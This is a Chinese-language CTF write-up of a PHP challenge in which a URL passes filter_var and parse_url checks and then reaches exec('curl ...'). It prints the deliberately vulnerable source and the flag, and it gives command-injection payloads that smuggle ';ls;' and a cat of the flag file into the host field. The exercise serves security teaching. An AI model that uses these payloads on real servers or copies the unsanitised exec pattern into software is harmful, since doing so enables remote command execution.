day2filter_var函数漏洞

filter_var函数漏洞

前言

  • 1.环境
  • 2.知识点:filter_var,parse_url解析规则

搭建环境

漏洞具体分析可看博客

题目源码

index.php

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

f1agi3hEre.php

// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

显然是要通过exec函数来rce,参数经过了filter_var和正则两层过滤

首先说说filter_var(),FILTER_VALIDATE_URL表示合法的url,会对url进行检查

正则要求域名部分以sec-redclub.com 结尾

先看parse_url


可以看到parse_url//为分界线划分协议和域名,两个 斜杠之后便是域名


可以看到当协议头不正确且没出现空格时可以绕过

构造payload:
?url=ht://";ls;"sec-redclub.com

?url=ht://";cat<f1agi3hEre.php;"sec-redclub.com

原文地址:https://www.cnblogs.com/NineOne/p/14071492.html